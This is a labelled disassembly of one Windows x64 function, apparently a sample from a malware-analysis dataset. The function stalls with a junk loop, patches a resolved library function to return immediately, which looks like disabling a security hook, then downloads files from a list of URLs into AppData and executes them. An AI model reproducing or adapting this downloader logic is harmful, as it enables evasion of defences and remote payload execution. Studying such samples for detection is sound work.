Function at 0x140004314
Capabilities:
Allocate or change rwx memory
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x5c0
mov qword [rsp + 0x70], 0x75bcd15
mov qword [rsp + 0x68], 0x3ade68b1
mov qword [rsp + 0x78], 0xb7e7759
mov dword [rsp + 0x54], 0
jmp 0x14000435a
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0x5f5e100
jge 0x1400043d6
mov eax, dword [rsp + 0x54]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
cdqe
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0x54]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
cdqe
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x70]
imul rax, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x54]
inc ecx
movsxd rcx, ecx
cqo
idiv rcx
mov rax, rdx
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
jmp 0x140004350
mov rax, qword [rsp + 0x70]
imul rax, qword [rsp + 0x68]
imul rax, qword [rsp + 0x78]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x70]
add rax, 0x64
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x68]
add rax, 0xc8
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x78]
add rax, 0x12c
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x5c]
call fcn.14000477c
mov qword [rsp + 0xa0], rax
mov rcx, qword [rsp + 0xa0]
call fcn.14000fbb4
mov qword [rsp + 0xa8], rax
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
je 0x1400045d5
lea rcx, [rsp + 0x5d]
call fcn.140004838
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0xb0]
call fcn.14000fb58
mov qword [rsp + 0xb8], rax
mov rdx, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
je 0x1400045c7
mov byte [rsp + 0x50], 0xc3
lea r9, [rsp + 0x88]
mov r8d, 0x40
mov edx, 1
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x80]
mov cl, byte [rsp + 0x50]
mov byte [rax], cl
xor r9d, r9d
mov r8d, dword [rsp + 0x88]
mov edx, 1
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [rsp + 0x5e]
call fcn.1400048f4
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0xc0]
call fcn.14000fafc
mov qword [rsp + 0xc8], rax
mov dword [rsp + 0x110], 0x68
lea rax, [rsp + 0x118]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov dword [rsp + 0x14c], 1
xor eax, eax
mov word [rsp + 0x150], ax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0xc8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rax, [rsp + 0x3b0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x140004773
mov dword [rsp + 0x58], 0
jmp 0x140004611
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x5e0]
cmp dword [rsp + 0x58], eax
jge 0x140004773
lea rcx, [rsp + 0x5f]
call fcn.1400049b4
mov qword [rsp + 0xd0], rax
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x8c], eax
mov rcx, qword [rsp + 0xd0]
call fcn.14000faa0
mov ecx, dword [rsp + 0x8c]
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0x3b0]
mov r8, rax
mov edx, 0x104
lea rcx, [rsp + 0x1a0]
call fcn.140001208
movsxd rax, dword [rsp + 0x58]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x1a0]
mov rcx, qword [rsp + 0x5d8]
mov rdx, qword [rcx + rax*8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x90], 0
jl 0x1400046fc
lea rcx, [rsp + 0x60]
call fcn.140004a70
mov qword [rsp + 0xd8], rax
mov rcx, qword [rsp + 0xd8]
call fcn.14000fa44
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x1a0]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x14000476e
lea rcx, [rsp + 0x61]
call fcn.140004bec
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
call fcn.14000f98c
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0x62]
call fcn.140004b2c
mov qword [rsp + 0xe8], rax
mov rcx, qword [rsp + 0xe8]
call fcn.14000f9e8
mov qword [rsp + 0xf8], rax
mov r9d, 0x10
mov r8, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0x5d0]
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140004607
add rsp, 0x5c0
pop rdi
ret